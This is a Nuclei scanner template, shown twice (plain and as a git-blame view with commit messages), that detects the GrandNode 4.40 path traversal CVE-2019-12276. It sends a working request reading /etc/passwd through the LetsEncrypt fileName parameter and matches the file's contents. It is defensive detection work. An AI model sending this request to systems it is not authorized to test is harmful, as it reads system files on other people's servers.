nuclei-templates/cves/2019/CVE-2019-12276.yaml

id: CVE-2019-12276

info:
  name: GrandNode 4.40 - Path Traversal
  author: daffainfo
  severity: high
  description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server
    via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
  reference:
    - https://security401.com/grandnode-path-traversal/
    - https://www.cvedetails.com/cve/CVE-2019-12276
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12276
    cwe-id: CWE-22
  tags: cve,cve2019,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
    headers:
      Connection: close

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
Create CVE-2019-12276.yaml 2021-07-29 22:49:59 +00:00			`id: CVE-2019-12276`

			`info:`
			`name: GrandNode 4.40 - Path Traversal`
			`author: daffainfo`
			`severity: high`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server`
			`via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-19 13:59:12 +00:00			`reference:`
Create CVE-2019-12276.yaml 2021-07-29 22:49:59 +00:00			`- https://security401.com/grandnode-path-traversal/`
			`- https://www.cvedetails.com/cve/CVE-2019-12276`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2019-12276`
			`cwe-id: CWE-22`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2019,lfi`
Create CVE-2019-12276.yaml 2021-07-29 22:49:59 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"`
Update CVE-2019-12276.yaml 2021-07-31 03:28:19 +00:00			`headers:`
			`Connection: close`
Create CVE-2019-12276.yaml 2021-07-29 22:49:59 +00:00
			`matchers-condition: and`
			`matchers:`

			`- type: regex`
			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Create CVE-2019-12276.yaml 2021-07-29 22:49:59 +00:00
			`- type: status`
			`status:`
			`- 200`